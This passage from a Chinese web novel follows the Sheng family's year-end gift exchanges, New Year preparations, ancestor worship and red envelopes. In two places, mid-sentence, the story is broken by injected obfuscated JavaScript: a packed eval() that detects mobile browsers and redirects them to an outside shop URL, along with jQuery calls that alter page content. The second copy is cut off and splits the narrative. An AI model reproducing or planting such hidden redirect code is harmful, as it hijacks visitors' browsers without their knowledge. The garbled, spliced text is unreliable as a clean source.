李氏的想法很简单,既然两房是互帮互助,就不能让盛家二房在物质上吃亏,不过,王若弗说这是年礼,那她也回一份年礼给盛家二房,就当是补给王若弗的,毕竟她不想欠王若弗的。 盛老太太自然知道盛家大房和二房之间的关系,只是这些年盛维给盛纮提供的物质已经远远大于盛纮给盛维提供的便利了,再加上盛维这些年的生意越做越大,盛纮能提供的便利已经没有多少了。 盛老太太是个聪慧的人,她自然是知道盛维之所以依旧送这么多东西,一部分是对盛家二房未来的投资,另一部分是为了报答她当年对盛大老太太母子的帮助。 盛老太太的内心对于盛维的这种行为是感动的,但是她不想让盛家大房的付出和收入不对等,这样长久以往下去很容易出问题,所以在她还不知道盛瑾的存在时,便已经打算和盛维商量,不用给盛家二房送太多东西了,可人算不如天算,谁能想到她还有个有能耐的儿子。 盛瑾的出现,从另一方来说,加强了盛维对盛家大房和二房的关系维护力度,随着盛维的生意越做越大,短时间内盛纮能给他的帮助不多,但是盛瑾出现后就不同了,盛瑾可以给盛维带来的帮助可不少。 盛老太太知道此时的她不能提出之前的想法,毕竟现在盛家二房的情况不同了,她需要考虑盛维的想法,不过,在她得知慕卿云的嫁妆和盛瑾的身家后,她便放下心来了,而盛维这么多年来送给她的东西,她都能借口给孩子送东西,弥补盛家大房这么多年的损失。 盛老太太眼含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8622932|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑意的看着李氏,语气柔和,道:“不用了,不用了,侄媳妇你前几个月才送了几车礼物去,不必再送东西过去了,那边是够用了。” 李氏嘴角微微上扬,语气中带着些许笑意,道:“二婶婶说的哪里的话啊!这些东西哪里够用了,您莫要跟我客气什么,这些年宥阳县令看在纮堂弟的面子上对我们多有照顾,属实是给了我们不少方便,就当是我这个做婶婶的给侄子侄女多备点礼吧,毕竟几年都不曾见过一次面啊!” 李氏说着便要起身离去,盛老太太见阻拦不了,脑海中思索着她们从扬州城带来的东西,语气中带着些许笑意,道:“侄媳妇莫急,到底是让你费心了。” 盛老太太说到这里,已然想好了要准备什么东西给李氏和王若弗,她语气柔和道:“我那有瑾儿来宥阳时带的几匹缂丝,等一下我让女使给你送六匹过去,其中三匹你自己留着,另外三匹添在礼单里,送去扬州城,就当是我和瑾儿给孩子们的新年礼物了。” 李氏瞧着盛老太太不再阻拦,心下松了口气,不过,她有些拿不定主意到底要不要收下盛老太太送的缂丝,毕竟缂丝那个玩意她还是听说过的,“一寸缂丝一寸金”这句话足以说明缂丝的金贵了。 李氏抬头看了一眼盛大老太太,见盛大老太太微微点头,也就笑着接受了盛老太太的礼物,她眉开眼笑,语气中满是欢快的意味,道:“那我就替松哥儿他们谢谢二婶婶的新年礼物了。”随即她就开开心心的下去准备礼物去了,而盛老太太则是让房嬷嬷回她们的院子里开库房取东西。 盛大老太太笑眯眯的看着盛老太太,语气中带着些许打趣的意味,道:“看来你这媳妇开始懂事了,知道关心你的身体了。” 盛老太太面带微笑,语气淡然,道:“是啊!懂事了,我也可以省心一点了。”而盛大老太太也瞧出盛老太太并不想聊王若弗的事情,于是她叉开话题,开始和盛老太太聊起了其他的一些事情。 此时的李氏正在准备回礼给扬州城的盛家,没过一会儿房嬷嬷也带着六匹缂丝过来了,她和李氏客套了几句,等丫鬟将东西送到李氏的丫鬟手中后,她便带着丫鬟告退离开了。 李氏看着眼前这六匹缂丝,忍不住上手摸了摸,过了好一会儿,她对着身边的方妈妈,嘴角止不住的上扬,道:“二婶婶真是又大方又和气啊!为了不让我吃亏,送了三匹缂丝过来,瞧瞧这缂丝真如人家所说的承空观之如雕缕之像啊!” 方妈妈看着李氏,满脸笑意的附和道:“大娘子说的是,二房老太太向来是明理的,知道大娘子给王大娘子那边送的东西过多了,这不给您找地方贴补嘛,再说了,如今二房老太太有个国公爷的嫡亲儿子,什么好东西都不缺的。” 李氏闻言,眉开眼笑,道:“二婶婶这是疼我们呢,不过,我们也不能不知礼,等过年的时候,我可得给明姐儿和安哥儿一个大红包,不能让二婶婶吃亏啊!” 李氏说到这里,不知想起什么,她皱着眉头,语气中带着些许疑问,道:“你说我那弟妹是不是吃错药了啊!居然会给我们大房送礼了,她不是一向瞧不起大房经商嘛。” 方妈妈看着李氏,轻声道:“许是二房大娘子想通了,毕竟二房大娘子只是个直肠子的,也不算是坏的,顶多算是有些傲气的。” 李氏听着方妈妈的话,忍不住嘲讽道:“是啊!她可不是一般傲气啊!这么多年连孝顺婆婆都是敷衍了事,呵,我就不明白了,二婶婶多明事理的一个人啊!她怎么就不愿意好好相处呢?若是换了哪家婆婆能容得下她这般做作啊!不就是纮堂弟纳妾吗?官场上的人有多少是不纳妾的,再说了,纮堂弟自个乐意,二婶婶如何能阻住啊!” 盛纮纳林噙霜的原因被盛家二房瞒的死死的,毕竟这对于盛家二房而言不是什么光彩的事情,以至于盛家大房一家只听说盛纮纳了一个妾。 李氏说到这里,顿感无趣,道:“算了,她们二房的事情我也不想多说什么,至于她这次为什么给我们送年礼,我也懒得费心思去想她的心思,索性我们家也没什么是她可以图,就随她去吧,对了,你去找女使小厮将礼物备好,顺便将这三匹缂丝装好,放入马车内部,记得提醒那个刘昆,这是老太太和瑾堂弟给他们主家的礼物,让他收好,别丢了,这东西可贵着呢。” 方妈妈回了句“是”,就带着三匹缂丝转身下去了,将给扬州城盛家的礼物装好,并按照李氏的吩咐,告知了刘昆。 几天后,刘昆就带着好几车的礼物回了扬州城了,这一路上,他可谓是战战兢兢的,生怕把那三匹缂丝给弄丢了,所幸的是一路上都十分顺利,他平安的回到了扬州城。 第 54 章 清晨,宥阳街市上商铺内人来人往,街道两旁的小商贩叫卖声更是络绎不绝,整个宥阳街市热闹非凡。 现在虽还未过年,但是宥阳街上的店铺里已经开始售卖新衣裳、春联、年画、烟花爆竹等年货,整个宥阳的年味是一日比一日浓厚。 李氏早在刚进入腊月时就开始采买大批年货,因此盛家上上下下都在为准备年货忙碌着,从中可以感受到年味。 盛瑾一如往常一样,一大早就开始教导盛长梁等人学习,等教导结束后,闲来无事,抬眼看到盛家的小厮正拿着一叠采买的年画路过。 盛瑾一时兴起,打算看看年画,便走上前拦住那名小厮,这名小厮被突然出现的盛瑾吓了一跳,端着年画,赶忙行礼道:“见过国公爷。” 盛瑾盯着下人手中的年画,对着下人摆摆手,面无表情,语气淡然,道:“不必多礼,能否将你手中的年画给我瞧瞧。” 这位小厮听到盛瑾这么说,便赶忙递过自己手中的年画给盛瑾,盛瑾接过年画看了一下,大致有钟馗、狻猊、虎头这三类,他看着这些年画,心里感慨道:“这些年画,画的真是栩栩如生啊!” 盛瑾知道这是为除夕准备的,毕竟在这个朝代家家户户都要在除夕这天换门神,挂钟馗,钉桃符,贴春牌,祭祀祖宗,遇夜则备迎神香花供物,以祈新岁之安。 盛瑾这边看得津津有味,那名小厮心里可是紧张的一批,心道:“不会是有什么问题吧。”短短的一瞬间,那名小厮不知已经经历了多少次头脑风暴了。 盛瑾盯着年画看了好一会儿,而后抬头便看到那个小厮紧张汗流浃背,还不停的盯着盛瑾手中的年画,盛瑾还以为他急着工作,便将手中的年画递给了他,并让他下去。 那个小厮接过盛瑾手中的年画后,如释重负一般松了口气,随即赶忙向盛瑾告退,并快步离去,那动作流利的像是有什么可怕的东西在追他一样。 盛瑾看着那个小厮落欢而逃的背影,一时之间竟有些摸不着头脑,心里思考着自己是否做过什么可怕的事情嘛,为什么那个小厮看上去这么怕他呢。 盛瑾不知道的是他突然叫住那个小厮,并拿起那个小厮手中的年画观看这种熊孩子行为,属实是把那名小厮吓得不轻啊! 盛瑾的行为让那个小厮以为他手中的年画出了什么问题呢,心里自然害怕了,所以才会在盛瑾将年画还给他后,以百米冲刺的速度离开,生怕盛瑾再次因为这年画的事情叫住他。 其实这也不难怪那个小厮,他之所以会如此的紧张,是因为李氏对这次新年的重视程度,这是盛瑾第一次在宥阳盛家过年,所以为了让盛瑾感受到亲人之间的温暖,也为了让盛瑾和盛家大房的关系更进一步,李氏使出吃奶的劲来准备这次新年,力求完美,底下的丫鬟小厮们自然也跟着绷紧神经干活了。 盛瑾对于那个小厮的行为只是想了一会儿,随之便抛之脑后了,想着盛明兰和盛品兰两个小朋友应该在一起玩耍,便不打扰她们两了,随即转身去找盛老太太闲聊去了。 此时盛老太太正一个人在院中逗着盛长安玩,过了一会儿,她便看到盛瑾走进院子里,于是她脸上浮现出一抹笑容,道:“瑾儿你来了,坐吧。” 盛瑾看着盛老太太正在逗着盛长安,便上前去,拿起一旁的拨浪鼓,在盛长安的摇篮边拨动着,发出“咚,咚,咚”的声音,逗的盛长安发出“呵,呵,呵”的笑声。盛老太太坐在旁边慈爱的看着盛瑾与盛长安玩耍。 过了一会儿,盛瑾像是想起了什么趣事似的,他放下手中的拨浪鼓,抬头看着盛老太太,脸上带着淡淡的笑意,述说道:“母亲,刚刚发生了一件有意思的事情,我因为一时兴起拦住一个小厮,拿过他手中的年画看了一会儿还给他,却不知是为何,他却像是被什么东西吓到一样,跟我告退后,跑的飞快。” 盛老太太即是聪慧明理之人,又是内宅女眷,自是知道缘由的,于是她满脸笑容的用手指点了点盛瑾的额头,语气中带着些许笑意,道:“你啊!你,就会吓人啊!还不自知。” 盛瑾闻言不明所以,脸上难得浮现出一抹憨憨的笑容,道:“母亲为何如此说儿子,儿子可没有做什么,只是单纯的看那年画栩栩如生,便想要细看一眼,这也有错吗?” 盛老太太语气柔和的解释道:“你想看年画是没错,但是时机找的不对,你大堂嫂嫂为了让你在宥阳盛家过个难忘的新年,如今可是使出吃奶的力气来准备啊!现下盛家上上下下的人那个不是绷紧一根神筋在办事情,你这么一拦,人家还以为采买的年画出了问题了,能不被吓一跳吗?” 盛瑾有些心虚的摸了摸自己的鼻子,语气中带着些许不好意思,道:“大堂嫂嫂不必如此费心了,如往常一样便好了,不用如此夸张的。” 盛老太太看着盛瑾这个样子,笑着摇头,道:“这只是比往年精细了点罢了,新年要准备的东西多多了,除了腊月二十四那日的祭灶神外,还有一直到除夕夜的这几天时间里,士庶不论大小家,俱洒扫门闾,去尘秽,净庭户的,到时候的事情就更多了,你很快就能见到了。” 盛瑾一直都知道新年要大扫除,其寓意是大家用扫尘的方式来“推陈出新”、“辞旧迎新”,把一切“穷运”、“晦气”统统扫出门去,所以盛瑾并没有如何放在心上,就是打扫卫生嘛,没什么的,直到他看见李氏管理下的盛家是如何大扫除时,他深刻的感觉到自己的格局属实是小了。 很快就到腊月二十四日,宥阳街市上到处回响着叫卖声,都是售卖“五色米食、花果、胶牙饧、箕豆”等祭灶用品,因为这一天家家户户都要准备“蔬食饧豆”祭灶,夜间“请僧道看经,备酒果送神”。 盛家也是宥阳的大户人家了,自然不甘于人后,因此,李氏一早就准备好了“蔬食饧豆”用来祭灶,此外,还请了附近有名的僧道,夜里在盛家看经,并备酒果送神,一套动作下来行云流水啊!看得盛瑾目瞪口呆,最震惊的还在后面呢。 等腊月二十四日这天一过,李氏让丫鬟小厮们将整个盛家里里外外打扫得干干净净的,那天的盛家可以说是一尘不染啊!紧接着李氏又让丫鬟婆子将被子枕头等一切物品,无论是用还是不用的都搬出来清理的干干净净的,那几天整个盛家忙里忙外的,除了贴身丫鬟小厮外的那些个丫鬟小厮们没有一个是得空的,即便是贴身丫鬟小厮也是没有多少空闲时间的。 这些天盛瑾看的是目瞪口呆啊!她对比盛家丫鬟小厮忙里忙外的,没有一刻清闲时间的准备新年,不由得觉得自己这些年过的新年属实是有些敷衍了。 盛瑾现在回想起每年国公府管家提到过年事宜时,自己说的打扫一下卫生,置办年货就可时,管家那一脸不可置信的表情,如今想想当真是难为他了。 盛瑾想到这里,不由的在心里默默为老管家的努力鞠一躬,如果不是老管家的坚持,盛瑾没准过得更糙啊!但是盛瑾仍不死心的在心中辩驳道:“管家您辛苦了,不过这也不怪我,谁让我们之间的思想鸿沟犹如阿塔卡马海沟一样长呢。”不过,这新年的准备属实让盛瑾大开眼界啊!古代的过年准备一点都不比现代差啊! 时间转瞬即逝,盛家在忙碌的氛围中迎来了大年三十的除夕之夜,这一天,宥阳里家家户户都开始忙碌了起来,此时的宥阳给人一种焕然一新的感觉,而盛家的丫鬟小厮们一大早就起来了,她们换好衣服,洗漱好后,来到盛家的大厅里集合,等待李氏的安排。 李氏不急不慢的来到了大厅内,只见大厅内挤满了丫鬟小厮们,她们以三人为一组的排队着,也不知道李氏瞧着这满厅的人是怎么做到不头疼的。 李氏进入大厅,坐在椅子上,端起桌上的茶杯,喝了口茶,润一润嗓子,便像是大公司的老板一样,开始有条不紊的安排着盛家丫鬟小厮们的工作,盛家的丫鬟小厮们听到李氏的安排后,以组为单位,井然有序的退出大厅,去完成自己的工作。 李氏吩咐其中的六个人负责换门神,挂钟馗,钉桃符,贴春牌的工作,两人为一组,排成三组,中间一组的两人手中端着年画、桃符、春牌,六人来到大门口开始工作。 在大门外,三人一组,两组同时进行工作,将大门上去年贴的年画撕下来,换上新的年画,紧接着将去年的桃符换成新的,最后将大门两旁去年贴的春牌撕下来,重新贴上新的。 李氏让一个丫鬟去厨房,吩咐厨房的烧菜婆子开始准备祭祀祖宗的食物,又让六组丫鬟开始布置祭祀祖宗的祠堂,其余的丫鬟打扫府邸,于是盛瑾一早上起来,便看到了盛府丫鬟小厮们忙碌的身影了,对此盛瑾已经是见怪不怪的了。 今天盛瑾十分的悠闲,因为早在除夕前一天,盛瑾便给盛长梁放了假,让他回盛家三房去过年了,盛明兰他们三个也就不用早起来上课了。 盛瑾洗漱完毕后,出门便看到小蝶抱着盛长安,走来走去,像是在带着孩子散步一样,于是他径直往小蝶那边走去,而小蝶一看到盛瑾走过来,双手抱着盛长安,双腿微微向前弯曲行礼,道:“见过国公爷。” 盛瑾看到后,怕小蝶不小心摔到盛长安,便急忙伸出手来,而小蝶看到盛瑾伸手自然明白他的意思,于是她顺手将盛长安递给了盛瑾。 盛瑾将盛长安抱在怀中,表情柔和的看着怀中的胖娃娃,只见盛长安一个劲的对着他笑,而他自然而然的也笑了起来,还垫垫怀里的盛长安逗他笑。 小蝶看到这场面心里自然是欢喜的,毕竟盛长安能得盛瑾的喜爱,这自然是好的,未来盛长安的读书娶妻等一系列的事情都是要靠盛瑾和盛老太太的,这有感情和没感情是两种概念的。 盛瑾抱着盛长安好一会儿后,目光转向小蝶身上,他面色淡然,语气似是无意般,询问道:“小蝶,你把安哥儿带出来干嘛?” 小蝶神情十分恭谨的看着盛瑾,道:“奴婢来看哥儿时,发现哥儿已然醒来,但老太太还在休息,奴婢不想哥儿打扰到老太太,请示过房嬷嬷后,便哥儿带出来散散步了。” 盛瑾听到小蝶这么说,也就没有再继续这个话题了,转而向小蝶询问盛老太太,道:“那老太太现下还在休息吗?” 小蝶对着盛瑾恭谨的回道:“老太太现下应该是起来了,国公爷如若有事的话,奴婢可以先去老太太那看看。” 盛瑾摆了摆手,面色不改,道:“无事,我就是想去看看老太太,你不用去了,我带着安哥儿一起回去就行了,你若是无事的话,就回到明儿身边去吧。” 小蝶闻言,满脸恭谨的行个礼,道:“国公爷,奴婢告退。”随即便转身潇洒离开了,毕竟有盛瑾在,盛长安不会出什么事情的。 盛瑾抱着盛长安来到了盛老太太的房门外,一进门,就看到盛老太太正在用膳。盛老太太自然也注意到了盛瑾。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8623319|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 盛老太太对着盛瑾莞尔一笑,语气中满是关怀,道:“瑾儿,你来了,用过早膳了嘛,如果没有的话,就和我一起用早膳吧。” 盛瑾对着盛老太太讨巧卖乖,道:“好巧啊!儿子还没有用过早膳呢,正好蹭蹭母亲的,对了,安哥儿也在这呢,正好让他也和我们一起。” 盛老太太被盛瑾的话逗的眉开眼笑,语气中带着些许笑骂的意味,道:“你少霍霍我的小孙儿,他这个年纪哪能吃得了早膳啊!我看你就是想馋他,到时候我小孙儿哭了,看我怎么收拾你,还不快快将孩子递给房嬷嬷。” 盛老太太刚说完,房嬷嬷就来到了盛瑾的面前,伸开双手,满脸笑意,语气亲近道:“国公爷,将安哥儿交给老奴吧。” 盛瑾闻言,便将盛长安递给了房嬷嬷,脸上浮现出一抹笑容,语气中带着一丝亲近而不失礼貌,道:“那麻烦嬷嬷了。” 房嬷嬷接过盛瑾手中的盛长安,脸上的笑容又多了几分,道:“不麻烦,不麻烦,国公爷客气了,安哥儿乖着呢。” 盛瑾便安静的和盛老太太一起用早膳了,等早膳一用完,盛老太太看着盛瑾一脸慈爱,道:“等下要祭祖,既然你来了,那就由你抱着安哥儿去吧。” 盛瑾对此没有任何意义,道:“好的,母亲。”不过,他也大概能猜出盛老太太这样做的用意,这是要告诉盛家族人,他和盛老太太对盛长安的重视。 盛瑾与盛老太太又说了一会儿话后,他看时间也差不多了,便从房嬷嬷手中接过盛长安,带着他一起向祠堂的方向走去。 等盛瑾抱着盛长安来到祠堂外时,便看到了祠堂外站着盛家大房和三房的男丁,还有盛家有名的盛三老太爷,他忍不住的打量了几眼那名花甲老人,依稀可以看出他年轻时,风流倜傥的外貌,可惜啊!白瞎了这副好皮囊,尽不干人事了。 盛三老太爷自然是看到盛瑾的到来的,不过,他如今有盛绉的束缚,再加上盛老太太当年威力犹存,他没敢找盛瑾的不自在。 这提到盛绉,就不得不说盛长梁回到盛家三房时候的事情了,毕竟盛绉和盛长梁是父子,这些天的相处让他明显感觉到盛长梁的变化,这变化是朝着好的方向进行的,这让盛绉看到了希望,于是为了自己儿子的前途,他对盛家三房的束缚力度再次加大,为了防止三房太太和盛三老太爷给盛瑾以及盛家大房找麻烦,他这些天可出了不少力,以至于盛家大房这一个年过的是十分的舒心顺利啊! 盛维想想往年过年时,盛家三房时常会挑些话语,来讽刺盛家大房,或是朝盛家大房要些好处,如今这个年过的可谓是风平浪静啊! 很快祭祖的时辰到了,盛维带着盛家的男丁们向祠堂内走去,准备开始祭祖了,盛瑾也跟在盛维身边,盛长安需要进行的祭祖仪式都是由盛瑾抱着他完成的。 等祭祖完毕后,盛绉出于对盛三老太爷的了解,以及防止盛三老太爷一时忘乎所以给盛维找麻烦,因此,他提前向盛维告辞。 盛维对于盛绉这提前告辞的事情是双手双脚赞同啊!以盛维恨不得找辆马车亲自送他们回去的状态来看,就可以得知盛三老太爷以往过年时在盛家大房的表现如何了。 盛绉告知盛维后,以雷霆不急云耳之势,乘着盛三老太爷没反应过来时,带着盛家三房的人火速离开盛家大房,连个缝隙都不给盛三老太爷留啊! 盛维看着盛家三房的人离开后,心里提起的那口气终于是松下来了,他看着盛瑾满脸笑意,语气中满是欢快,道:“瑾堂弟,我们去用膳吧。” 盛瑾双手抱着盛长安,对着盛维微微点头,道:“好。”而他身边围着盛长松和盛长梧,其中的盛长梧抬头看着盛瑾怀中正在吐泡泡的盛长安小朋友,跃跃欲试的,想要逗一逗盛长安小朋友,但碍于自家老爹在场又不敢动手。 盛维看着盛瑾一直在抱着盛长安,他瞧着那白嫩的小团子,心里有些痒痒,便开口道:“瑾堂弟,你抱着安哥儿这么久累不累呢,要不换我来抱吧。” 盛瑾神情轻松,语气淡然,道:“多谢维堂兄的好意了,我不累,其实安哥儿也没有多重,走吧。”说着,他还掂了掂怀中的盛长安,用行动来告诉盛维,他真的不累。 盛维看着盛瑾这个动作,也知道他是真的不累,只能按下心中的痒痒,语气中带着些许笑意,道:“瑾堂弟,那我们就走吧。”他说完便带着盛瑾一行人去吃饭了,而他们吃完饭后就分开了。 等到了晚上,李氏早已让人备好迎神香花供物,并将其布置妥当了,办完这些事情后,李氏才算是将事情都干完了,于是夜晚盛家所有人齐聚一堂时,她让丫鬟们将准备许久的好酒好菜端上饭桌,由于是家宴,男女也就不分席而坐了。 盛家丫鬟们很快就将饭菜摆放好了,满满一大桌子菜,天上飞的,地上走的,海底游的,可谓是将海陆空都集齐了,盛维和盛瑾一行人都入席后,便开始吃年夜饭,一大家子其乐融融的,气氛十分的好。 吃完年夜饭后,盛长梧就迫不及待的找李氏拿来之前准备好的烟花爆竹,带着一群人去燃放烟花爆竹了,不过,盛大老太太和盛老太太由于年纪大了便回房休息了,至于盛长安则是因为年纪太小了也被盛老太太一同带回去休息了,最后只留盛瑾这群大人在一旁看着盛长梧这群小孩子们玩耍,一时之间,整个宥阳都回荡着小孩子的欢声笑语以及烟花爆竹的声音。 第 55 章 今天宥阳盛家无论是主子还是丫鬟小厮们都换上了新衣裳,每一个人的脸上洋溢着灿烂的笑容,不仅仅是因为今天是新年,还有红包。 相较于宥阳其他大户人家而言,盛家大房丫鬟小厮的日子还是不错的,除去每月的月钱和一年两套衣裳,每年新年这天,李氏都会丫鬟小厮们发红包和另置办一件新衣裳,就像是一个部门的年终福利一样,而且盛维的后院干净,膝下子嗣皆是嫡出,没有别家那样勾心斗角的事情,不用担心卷入后院的麻烦事情,说起来李氏可真应该感谢一下她已逝的公公盛大老太爷,他宠妾灭妻的威力过大,以至于给盛维带来的心理阴影。 综上所述,在盛家大房当丫鬟小厮,老板和气,工作氛围舒心,人身安全有保障,工资稳定,福利待遇好,只要不作死,老老实实工作攒钱,到了年岁,如果想离开盛家,还能求个恩典自个赎身,带着银钱过自己的日子,无论如何都能安享晚年,这样的工作在现在都是打着灯笼难找的,更何况是在古代呢。 盛家满府上下喜气洋洋的,李氏今年给盛家的丫鬟小厮们每人发了三两银子作为新年红包,这比往年都多,因此盛家的丫鬟小厮们脸上洋溢着笑容又灿烂了几分。 清晨,天刚亮起来,盛明兰小朋友就被小蝶从温暖的被窝中拉了出来,梳妆打扮,对于小蝶而言,这是盛明兰小朋友作为国公之女所过的第一个新年,意义非凡,小蝶对此十分重视的。 盛明兰小朋友抬起双手揉了揉自己犯困的双眼,语气中满是困意的嘟着嘴道:“小蝶姐姐,今天为什么要起这么早啊!” 小蝶一边伺候盛明兰小朋友洗漱,一边满脸笑容的回道:“姑娘,今天是你和国公爷过的第一个新年,你难道不想打扮的漂漂亮亮的去见国公爷嘛。” 盛明兰小朋友漱洗完后,用双手捂住嘴,打了个哈欠后,脸上露出一个灿烂的笑容,点着头,附和道:“要,明儿要漂漂亮亮的去见爹爹,小蝶姐姐你帮明儿打扮得漂漂亮亮的。” 小蝶脸上的笑意不减,语气柔和,道:“好,姑娘。”她一边回着盛明兰的话,一边手上也不闲着,伺候盛明兰小朋友穿上新做的缕金百蝶穿花云缎裙后,将盛明兰抱到了梳妆台前的椅子上,为她梳妆打扮。 盛明兰小朋友在梳妆台上,睡眼迷离的,用双手撑着脑袋,防止脑袋乱晃,方便小蝶为她梳头,短小的双腿小幅度的晃动着,防止自己睡着。 小蝶看着盛明兰小朋友这样,心里只觉得既可爱又有一丝心疼,但是这一点也不妨碍她的“铁石心肠”,她熟练的用金丝八宝攒珠髻给盛明兰小朋友扎了个丸子头。 因为盛明兰小朋友的首饰都是盛瑾专门定制的小朋友版,故而这些首饰精致小巧,最主要的是它对于盛明兰这样大的小朋友而言并不算太重的东西。 小蝶给盛明兰小朋友打扮完后,拿出一件翠纹织锦羽缎斗篷,披在盛明兰小朋友身上,盛明兰小朋友长的本来就精致可爱,此时打扮起来,更加的软糯可爱了,不过,盛明兰小朋友被折腾了这么久,困意也差不多消失不见了。 突然,盛明兰听到一声“妹妹。”传入房间,她都不用多想,这洪亮的声音,只能是盛品兰小朋友,只见她身穿一件四喜如意云纹锦锻,披着八团喜相逢厚锦镶银鼠皮披风,用绸缎扎了个和盛明兰一样的丸子头,迈着小短腿,来到盛明兰的房门前。 盛明兰小朋友看到盛品兰小朋友时,脸上露出灿烂的笑容,伸出双手示意小蝶,将她抱她到盛品兰那,小蝶也领会了盛明兰的意思,将她带到盛品兰的身边。 盛品兰小朋友看到盛明兰小朋友头上的金丝八宝攒珠髻,两眼放光,指着盛明兰头上的首饰,语气中满是赞叹,道:“妹妹,妹妹,你头上带着什么啊!好好看啊!” 盛明兰小朋友愣了一下,随即反应过来盛品兰指的是她头上戴着的金丝八宝攒珠髻,她脸上浮现出一抹笑容,奶声奶气,道:“这和先前的镯子一样是爹爹找人专门给我做的首饰,对了,品兰姐姐,你来找我干嘛。” 盛品兰小朋友得到答案后,随即将注意力转移到盛明兰小朋友的问题上,只见她兴奋的挥舞着自己的小双手,语气中满是欢快,道:“妹妹,今天是新年,我们会有好多好多的红包,我们去找长辈们拜年拿红包吧。” 盛明兰小朋友听完盛品兰小朋友那句“我们去找长辈们拜年拿红包”,她有些不明所以,脸上露出了疑惑的神情,然后,她用自己的双手捧着歪了的脑袋,努力回忆着在扬州城盛家时过年的事情,发现并没有人会特意的去找长辈们拿红包,于是她转头看向小蝶,满脸都是求知欲。 小蝶一时无言以对,也找不到什么理由来搪塞盛明兰,只能面露微笑,语气中带着些许焦急,道:“姑娘,品兰姑娘还在等你呢,快去吧。” 此时小蝶的心中充满了无奈,对于这件事情她是知道的,在扬州城盛家每逢过年时,盛纮都会与他的子女,以及王若弗一同用膳,妾氏只能待在自己的房间内用膳,这是规矩,即使是盛竑最宠爱的林噙霜也不能破坏这个规矩,更何况是卫如意这个不受宠的妾氏呢,不过,盛老太太和王若弗因着当初纳林噙霜为妾的事情,她们的关系跌倒了冰点,以至于盛老太太本着眼不见心不烦的想法关起大门过起自个的日子去了。 这些年盛家后院一直是火药味十足,盛老太太因着对王若弗的些许愧疚和对盛纮的些许恼怒便不想管这些事情,她常常借口外出礼佛来躲个清净,所以盛纮的子女极少收到盛老太太的红包,大多数过年时,一大家子用完膳后,王若弗便将钱发给她们的院子,然后,各自回自己的院子去了。 至于王若弗和林噙霜关起院子来,给自己亲生的孩子红包的事情,自然是无人在意的,而卫如意一直是个透明人,既没有王大娘子那样的嫁妆,又没有林小娘那样的宠爱,她手上没有多少银子,自然也不在乎这方面了。 小蝶不知道如何给盛明兰解释这件事情,只能转移话题,让盛明兰小朋友不在关注这件事情,果然盛明兰小朋友听到小蝶的话,目光转向盛品兰小朋友,发现她已然等了自己很久,也就不在关注为什么她们两人过的年是不同的问题,于是她跑上去拉起盛品兰小朋友的手一起去玩了,而此时的盛瑾正因为发红包的事情,被盛老太太批斗着呢。 盛瑾一手扶着盛老太太,一手轻轻拍打着盛老太太的背,语气中满是陪笑的意味,道:“母亲莫要激动,儿子这不是不懂吗?母亲您慢慢说,儿子一定虚心听讲,积极改正。”他企图通过低头做小来将盛老太太的火给灭了。 盛老太太身旁的房嬷嬷还没有从盛瑾的话里回过神来,她心里满是震惊道:“天爷啊!国公爷真是有钱啊!一个人一千两银子的红包,大房的孩子、纭姐儿的孩子加上三房的孩子在一共一万两银子,再加上就是大姑娘和安哥儿,就是一万两千两白银啊!国公爷这是不拿银子当银子用啊!” 房嬷嬷并不知道盛瑾的真实身家和丰国公府的财政收入,所以当她回过神来时,看向盛瑾的眼神就跟看败家子一样。 盛老太太平复了一下心情,瞪了一眼盛瑾,语气中带着些许无语,道:“你敢拿,那也要看看你维堂兄他敢不敢收啊!” 盛老太太看到盛瑾露出疑惑的表情,便知道自己这个儿子也是这么给顾家两个孩子红包的,回头想想自己这个儿子除了在官场上平日里怕是鲜少与他人往来啊! 其实也不怪盛瑾这么给红包,并非盛瑾不懂得本朝的物价,只是盛瑾本来就是个宠孩子的,而且又不是个缺钱的主,再加上顾偃开对顾廷烨和顾廷炜的关心还没有顾廷煜的一半多呢,而且顾廷烨和顾廷炜是男娃,不能向女娃那样光明正大的添妆,所以每年盛瑾都给顾廷烨和顾廷炜至少一千两的红包。 白老爷和白滢婷自然知道盛瑾的心意,因此不好拒绝盛瑾对两个孩子的好意,于是她们为了不让盛瑾太过于吃亏的,转头给盛长轩送礼物找补。 还有一个原因是盛瑾喜欢宅在府里,虽然他平日在官场上能言善辩,但他骨子里还是喜欢在自己家中待着,再加上他在汴州城也只有白滢婷这门子亲戚需要拜年,以及国公爷里没有一个女眷,因此,除了白滢婷过年时上门,也无他人上门了,这些年盛瑾只给顾廷烨、盛长轩、顾廷炜三个孩子发过红包。 白老爷和白滢婷只觉得盛瑾开心就好了,反正是自家人,肥水流来流去都是在自家田中的,更何况他们也不是个缺钱的主,自然乐意随盛瑾的想法来。 盛瑾本意是不好厚此薄彼,所以为了端平两边的水,男女各给一千两银子,显然的是他并不了解盛家的情况,也不知道盛维的挣钱能力没有白老爷强。 